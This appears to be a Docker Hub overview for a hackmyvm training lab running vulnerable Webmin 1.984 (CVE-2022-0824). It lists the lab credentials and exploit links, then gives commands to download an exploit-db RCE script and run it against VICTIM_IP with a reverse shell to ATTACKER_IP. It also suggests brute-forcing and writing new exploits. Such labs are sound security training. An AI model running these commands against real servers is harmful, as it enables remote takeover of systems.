hackmyvm/webmin repository overview

⁠Intro

We will learn how to exploit (CVE-2022-0824), a RCE that affects Webmin.

Credentials are: admin/love

⁠Version in this image.

Webmin 1.984

⁠Affected Version.

Webmin <= 1.984

⁠Exploit/References

• https://packetstormsecurity.com/files/166240/Webmin-1.984-Remote-Code-Execution.html⁠
• https://www.exploit-db.com/exploits/50809⁠
• https://sploitus.com/exploit?id=PACKETSTORM%3A166240⁠
• https://github.com/faisalfs10x/Webmin-CVE-2022-0824-revshell⁠

⁠Exploitation

1. Start your container.

docker run --name webmin -it -p 10000:10000 --rm hackmyvm/webmin

1. Download the exploit in your attacker VM:

wget https://www.exploit-db.com/raw/50809 -O exploit.py

1. Run the exploit in your attacker VM:

python3 exploit.py -t http://VICTIM_IP:10000 -c admin:love -LS ATTACKER_IP:9090 -L ATTACKER_IP -P 4444

⁠Thats all? So easy... What more?

• Doesnt work the exploit? Could you fix it?
• What if you dont know the password? Can you bruteforce it?
• Create your own exploit using another language like bash/c/golang...
• Could you get a revshell without using the exploit?

⁠Feedback/Support

If you want to give us some feedback or you need support feel free to join us at https://hackmyvm.eu/⁠